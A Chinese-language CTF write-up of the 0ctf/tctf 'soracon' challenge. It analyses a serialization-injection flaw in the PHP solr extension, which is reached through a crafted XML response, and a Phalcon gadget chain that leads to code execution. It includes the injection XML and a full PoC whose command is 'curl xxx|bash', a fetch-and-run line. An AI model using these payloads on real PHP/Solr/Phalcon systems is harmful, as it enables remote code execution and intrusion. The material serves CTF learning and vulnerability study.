这次0ctf/tctf 抽空看了下soracon这题。最终还是非常可惜,可能有多点时间做题就能解出了。下面是自己的一个思路流程。
(什么时候才能做出zsx的题呢
vuln
题目给出了源码
<?php
highlight_file(__FILE__);
$host = $_GET['host'] ?? '127.0.0.1';
$options = ['hostname' => $host, 'port' => 8983, 'path' => '/solr'];
$client = new SolrClient($options);
$query = new SolrQuery();
$query->setQuery('lucene');
$query_response = $client->query($query);
$response = $query_response->getResponse();
print_r($response);
这里用到的SolrClient
等等类说明用到了php 的solr扩展。一般是直接pecl安装即可,我是windows环境所以就直接上pecl 下一份源码,下一份编译好的dll。
这里原本是打算自己编译一份dll看看要不要动态调试的。但是实际上漏洞点可以直接静态看出来,所以我就没有另外编译了。
关于solr自己其实以前没有看过相关漏洞,所以去新安装了下,本地可以直接solr start -e cloud
起。
这里虽然不能直接看懂题目源码的具体目的,但是我们知道,可控点只有host。也就是说response 是可控的。那么我们从response 入手
我们直接找getResponse,发现起调用的是接口solr_response_get_response_impl
这里的php_var_unserialize代表,这里对response执行了反序列化。输入是第二个参数raw_response。这个就非常有意思了。我们的response作为可控参数的话,如果能利用反序列化必然是可以扩大攻击面。那么回溯看下这里的参数raw_response 能否控制,从而执行恶意反序列化。
首先,可以发现,raw_response 来自buffer。raw_resp = (unsigned char *) buffer.str;
而buffer则是根据if条件,有多种不同方式处理得到的
if (Z_STRLEN_P(response_writer))
{
if (0 == strcmp(Z_STRVAL_P(response_writer), SOLR_XML_RESPONSE_WRITER))
{
/* SOLR_XML_RESPONSE_WRITER */
/* Convert from XML serialization to PHP serialization format */
solr_encode_generic_xml_response(&buffer, Z_STRVAL_P(raw_response), Z_STRLEN_P(raw_response), Z_LVAL_P(parser_mode));
if(return_array)
{
solr_sobject_to_sarray(&buffer);
}
} else if (0 == strcmp(Z_STRVAL_P(response_writer), SOLR_PHP_NATIVE_RESPONSE_WRITER) || 0 == strcmp(Z_STRVAL_P(response_writer), SOLR_PHP_SERIALIZED_RESPONSE_WRITER)) {
/* SOLR_PHP_NATIVE_RESPONSE_WRITER */
/* Response string is already in Native PHP serialization format */
solr_string_set(&buffer, Z_STRVAL_P(raw_response), Z_STRLEN_P(raw_response));
if(!return_array)
{
solr_sarray_to_sobject(&buffer);
}
} else if (0 == strcmp(Z_STRVAL_P(response_writer), SOLR_JSON_RESPONSE_WRITER)) {
int json_translation_result = solr_json_to_php_native(&buffer, Z_STRVAL_P(raw_response), Z_STRLEN_P(raw_response));
/* SOLR_JSON_RESPONSE_WRITER */
/* Convert from JSON serialization to PHP serialization format */
if (json_translation_result > 0)
{
solr_throw_exception_ex(solr_ce_SolrException, SOLR_ERROR_1000, SOLR_FILE_LINE_FUNC, solr_get_json_error_msg(json_translation_result));
php_error_docref(NULL, E_WARNING, "Error in JSON->PHP conversion. JSON Error Code %d", json_translation_result);
}
if(!return_array)
{
solr_sarray_to_sobject(&buffer);
}
}
}
但是其实此处我们可以根据本地报错,直接确定就是第一个if。比如我远程起了一个node作为http server
const express = require('express');
const app = express();
const logger = require('morgan');
app.use(logger('dev'))
app.post('/solr/*', (req, res) => res.send('233'));
app.listen(8983)
回显
从error loading root of xml基本可以确定,期望的回显肯定是xml格式。而且后续的error unserializing 也基本确定其中会发生反序列化。
那么我们跟进第一个if中的solr_encode_generic_xml_response
发现有我们刚刚的报错信息。可以确认是这个分支了。接下来跟进solr_encode_object
这里不妨看下solr_write_object_opener
其实漏洞点到这里就有雏形了。此处opener这个函数明显是在往buffer里写序列化数据字符串。实际上,上面的encode_xml_node
以及object_closer
跟进去也会发现,是一样的思路。
既然他的序列化数据是一段段拼接而成的,那么我们的可控数据自然也作为其中一部分被拼接进去了,最后执行反序列化。然而我们知道,php中序列化数据只要满足正确格式闭合关系,是可以通过提前闭合来实现反序列化逃逸的。这个不必多说。
这里后面也可以跟下solr_encode_xml_node.也会发现其实就是在根据xml node的类型来选择不同函数:
#define solr_encode_xml_node(__node, __buf, __enc_type, __arr_idx, __mode) solr_encoder_functions[solr_get_xml_type((__node))]((__node),(__buf), (__enc_type), (__arr_idx), (__mode))
......
static solr_php_encode_func_t solr_encoder_functions[] = {
solr_encode_string,
solr_encode_null,
solr_encode_bool,
solr_encode_int,
solr_encode_float,
solr_encode_string,
solr_encode_array,
solr_encode_object,
solr_encode_document,
solr_encode_result,
NULL
};
......
static inline int solr_get_xml_type(xmlNode *node)
{
solr_char_t *node_name = (solr_char_t *) node->name;
if (!node_name)
{
return SOLR_ENCODE_STRING;
}
if (!strcmp(node_name, "str")) {
return SOLR_ENCODE_STRING;
}
......
接下来本地模拟下。首先php代码选项加上proxy,抓包看下回显(这里solr已经新建了一个core byc了)
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<bool name="zkConnected">true</bool>
<int name="status">0</int>
<int name="QTime">12</int>
<lst name="params">
<str name="q">lucene</str>
<str name="indent">on</str>
<str name="version">2.2</str>
<str name="wt">xml</str>
</lst>
</lst>
<result name="response" numFound="0" start="0" maxScore="0.0" numFoundExact="true">
</result>
</response>
感觉跟远程差的有点多。但是格式是清晰的。比如类型,名字都可以对应。我们按照这个,以及远程的回显格式其实就可以构造一个response了。
本地测试,准备一个恶意类Evil。destruct里放一个命令执行函数。
class Evil {
public function __destruct() {
system("whoami");
}
}
回显设置里插入恶意序列化数据O:4:"Evil":0:{}
。然后后面闭合5个括号,这个是直接fuzz出来的。
<?xml version="1.0" encoding="UTF-8"?>
<response>
<result name="response" numFound="1" start="0" numFoundExact="true">
<doc name="byc">
<int name="a">123456;i:1;O:4:"Evil":0:{}}}}}}</int>
<str name="q">lucene</str>
</doc>
</result>
</response>
还是用刚刚的node server。本地看下结果
发现可以触发反序列化。到此为止,这道题的漏洞部分就已经分析完了。
gadget
然后就是如何在题目远程找到触发反序列化的问题了。然而自己一方面没看到题目给的phpinfo.php,另一方面没时间看题。。。所以当时直接放弃了。后来看题解的链子,感觉还是有些难度的。
注意到扩展这里的phalcon, 我们可以找到源码cphalcon。会发现其源码都是.zep文件,应该是编译成c后作为扩展使用。但是整体风格跟php差不多。所以直接手动审就行了。
入口是个抽象类AbstractAdapter
后续根据defaultFormatter
调用commit方法。这里可以找到实现这个抽象类的Stream类。作为我们payload实例化的对象。然后会发现最终调用过程中,会调用其process方法。
所以如果能把message控住,这里就有个任意文件写。我们回到抽象类看下getFornatedItem
发现会实例化一个Logger\Formatter下的类作为formater,调用其format方法。
以Json为例
做到了调用可控参数的getTime()
方法。此时常见的一个思路就是全局找__call
扩展利用链。
这里后来看了下zsx的链跟Nu1L的链。其实都用了同一个__call
看到Di.zep
public function __call(string! method, array arguments = []) -> var | null
{
var instance, possibleService, definition;
/**
* If the magic method starts with "get" we try to get a service with
* that name
*/
if starts_with(method, "get") {
let possibleService = lcfirst(substr(method, 3));
if isset this->services[possibleService] {
let instance = this->get(possibleService, arguments);
return instance;
}
}
......
这个使用挺常见的,一般常见于处理getter,setter型的方法。那么此处我们控制住services
数组。就能调用其get方法。
get方法的核心在
全局找会发现一个比较好用的resolve。即\Di下的Service类resolve方法。
resolve方法。我们首先注意到definition可控。如果是字符串的话,可以实例化类。
如果是其他的话,会调用builder来build
到这里我看了下,Nu1L跟zsx的链子就有差别了。
Nu1L选择走上面, 可以做到实例化一个类且构造方法参数可控。然后后面代码都不执行直接返回了。
zsx是单纯实例化一个类。然后继续走下面。
build方法下面的关键代码就在:
for methodPosition, method in paramCalls {
/**
* The call parameter must be an array of arrays
*/
if unlikely typeof method != "array" {
throw new Exception(
"Method call must be an array on position " . methodPosition
);
}
/**
* A param 'method' is required
*/
if unlikely !fetch methodName, method["method"] {
throw new Exception(
"The method name is required on position " . methodPosition
);
}
/**
* Create the method call
*/
let methodCall = [instance, methodName];
if fetch arguments, method["arguments"] {
if unlikely typeof arguments != "array" {
throw new Exception(
"Call arguments must be an array " . methodPosition
);
}
if count(arguments) {
/**
* Call the method on the instance
*/
call_user_func_array(
methodCall,
this->buildParameters(container, arguments)
);
/**
* Go to next method call
*/
continue;
}
}
/**
* Call the method on the instance without arguments
*/
call_user_func(methodCall);
}
由于我们上面instance可控。这个代码块里methodCall
,this->buildParameters(container, arguments)
跟进看的话其实都是可控的。所以相当于是,我们可以执行一个create_instance
实例化的类的任意方法,且参数可控。
这里zsx的链子是,create_instance实例化一个Validation类。然后调用add方法设置好这个Validation的validator。然后注意到上面for methodPosition, method in paramCalls
是循环调用的。也就是说,我们还能再调用同一个instance的另一个方法。此处即validate
方法。
这个方法妙在,上面实例化时,虽然类的参数没有设置为可控值。但是由于同一个instance循环调用这点,就可以先调用add方法设置好参数,再调用validate方法执行命令。
这里validator是用的Callback
callback完全可控。不过
这里zsx的参数是用\Phalcon\Acl\Component()控住的。其实是因为validate方法只接收数组或对象作参数。那么找一个__toString
就行了。
poc
<?php
namespace Phalcon\Acl;
class Component {
public $name = "curl xxx|bash";
}
namespace Phalcon\Validation\Validator;
class Callback {
public $options = [
"message" => "",
"callback" => "system"
];
}
namespace Phalcon\Di;
class Service {
public $definition;
public $resolved = false;
public $shared = false;
public $sharedInstance = null;
public $eventsManager = null;
public function __construct($definition) {
$this->definition = $definition;
}
}
namespace Phalcon;
class Di {
public $services;
public function __construct($services) {
$this->services = $services;
}
}
namespace Phalcon\Logger\Adapter;
abstract class AbstractAdapter {
public $defaultFormatter= "Json";
public $formatter;
public $inTransaction = true;
public $queue;
}
class Stream extends AbstractAdapter {
public $handler = null;
public $mode = "ab";
public $name = "/tmp/byc";
public function __construct($queue) {
$this->queue = $queue;
}
}
$poc = new Stream([
new \Phalcon\Di([
"context"=> new \Phalcon\Di\Service([
"className" => "Phalcon\Validation",
"arguments" => [],
"calls" => [
[
"method" => "add",
"arguments" => [
[
"type" => "parameter",
"value" => [""]
],
[
"type" => "parameter",
"value" => new \Phalcon\Validation\Validator\Callback()
]
]
],
[
"method" => "validate",
"arguments" => [
[
"type" => "parameter",
"value" => new \Phalcon\Acl\Component()
]
]
]
]
])
])
]);
echo (serialize($poc));
还有Nu1L的方法。整体上其实比较好想。因为前面已经有一个fwrite了。控制住参数就能任意写。然后如果有文件包含就能rce了。
这个类直接构造方法就能文件包含。所以到上面那步create_instance
就可以包含了。
写文件的话更简单。在format那不用触发__call
。直接控制好里面各个方法参数就能直接fwrite。
Summary
比赛有时间肝这题的话,应该收获挺大的。。。
其他题质量也非常不错,比如2个java。希望有机会能看到wuyx师傅跟ccl师傅放出完整题解~